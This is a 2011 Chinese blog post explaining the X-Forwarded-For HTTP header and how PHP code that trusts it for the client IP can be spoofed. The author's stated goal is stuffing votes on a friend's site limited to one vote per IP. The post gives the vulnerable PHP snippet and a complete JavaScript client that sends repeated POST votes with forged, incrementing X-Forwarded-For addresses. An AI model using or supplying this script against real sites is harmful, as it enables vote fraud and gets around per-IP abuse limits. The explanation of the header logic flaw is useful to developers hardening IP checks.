/*
*作者blog:http://87year.info
*文章地址:http://87year.info/2011/03/09/伪造http头x-forwarded-for来刷票/
*说明:科普.大牛请绕道
*/
背景:
童鞋给了个网站说刷票,看了一下,每个IP只能投一票.太麻烦就放弃了!
第二天另外一个童鞋说可以用伪造HTTP头中的X-Forwarded-For字段来投票.
百度了一下X-Forwarded-For的原理,这东西出来好长时间了.我还第一次听说
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。
它不是RFC中定义的标准请求头信息,在squid缓存代理服务器开发文档中可以找到该项的详细介绍。
标准格式如下:
X-Forwarded-For: client1, proxy1, proxy2
从标准格式可以看出,X-Forwarded-For头信息可以有多个,中间用逗号分隔,第一项为真实的客户端ip,剩下的就是曾经经过的代理或负载均衡的ip地址,经过几个就会出现几个。
wiki 的X-Forwarded-For解释 http://en.wikipedia.org/wiki/X-Forwarded-For
分析:
既然是要伪造客户端IP,那我们先看看一般是怎样获取客户端IP地址的(以php为例).这段代码是在百度搜索到的.大部分网站可能都用这段代码

<?php
$user_IP = ($_SERVER["HTTP_VIA"]) ? //是否使用了代理
$_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
//获取失败则从REMOTE_ADDR获取
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
?>
首先判断HTTP_VIA头是否存在,HTTP_VIA头代表是否使用了代理服务器.如果没有那就从REMOTE_ADDR字段获取客户端的IP地址,如果有那就从X-Forwarded-For获取客户端IP
我估计很多程序员都是从百度来的代码吧.asp也类似.
然后我们来测试一下.
服务端代码:

<?php
//输出HTTP_X_FORWARDED_FOR
echo “HTTP_X_FORWARDED_FOR:”.$_SERVER["HTTP_X_FORWARDED_FOR"];
//输出REMOTE_ADDR echo “REMOTE_ADDR:”. $_SERVER["REMOTE_ADDR"];
?>

\

可以看到获取到的客户端ip地址是不一样的.REMOTE_ADDR为真实地址.
所以一个网站如果是从X-Forwarded-For来判断客户端IP地址的话,那么我们就可以利用这个逻辑漏洞刷票了.刚好我同学那个网站就是.
演示地址:http://87year.info/t00ls/vote/index.html(右键可查看所有客户端源码)

附客户端代码:
<script>
function CreateXMLHttp(){
var xmlhttp=false;//创建一个新变量并赋值false,使用false作为判断条件说明还没有创建XMLHTTPRequest对象
try{
xmlhttp=new XMLHttpRequest();//尝试创建 XMLHttpRequest 对象,除 IE 外的浏览器都支持这个方法。
}catch(e){
try{
xmlhttp=ActiveXobject(“Msxml12.XMLHTTP”);//使用较新版本的 IE 创建 IE 兼容的对象(Msxml2.XMLHTTP)。
}catch(e){
try{
xmlhttp=ActiveXobject(“Microsoft.XMLHTTP”);//使用较老版本的 IE 创建 IE 兼容的对象(Microsoft.XMLHTTP)。
}catch(failed){
xmlhttp=false;//如果失败了还保持false
}
}
}
return xmlhttp;
}
var g_i=0;
function $(obj){
return document.getElementById(obj);
}
function onSearch()
{
var g_xmlhttp=CreateXMLHttp();
if (g_xmlhttp==false)
{
alert(“你的浏览器不支持ajax”);
return;
}
var sendData=”bid=”+$(“id”).value;
var fakeIP=$(“ip”).value+g_i;
//alert(fakeIP);return ;
g_xmlhttp.open(“POST”,”http://192.168.15.166/ip.php”,true);
g_xmlhttp.setRequestHeader(“Content-Length”,sendData.Length);
g_xmlhttp.setRequestHeader(“Content-Type”,”application/x-www-form-urlencoded”);
g_xmlhttp.setRequestHeader(“X-Forwarded-For”,fakeIP);
g_xmlhttp.onreadystatechange=function(){
if(/*g_xmlhttp.status==200*/g_xmlhttp.readyState==4)
{
$(“res”).innerHTML+=g_xmlhttp.responseText+”</br>”;
if(++g_i<5)
{
setTimeout(“onSearch()”,1000);
}
}
}
g_xmlhttp.send(sendData);
}
</script>
<form name=”form1″ method=”post” action=”" id=”form1″>
<div>
<br />
ip地址:<input id=”ip” type=”text” value=”200.156.4.” /></br>
投票ID:<input id=”id” type=”text” value=”232″ /></br>
<input id=”search” type=”button” value=”开始” />
<br />
<br />
<span id=”res”></span>
<br />
<br />
</div>
</form>

参考1:http://www.sablog.net/blog/x-forwarded-for/
参考2:http://en.wikipedia.org/wiki/X-Forwarded-For
参考3:http://www.baidu.com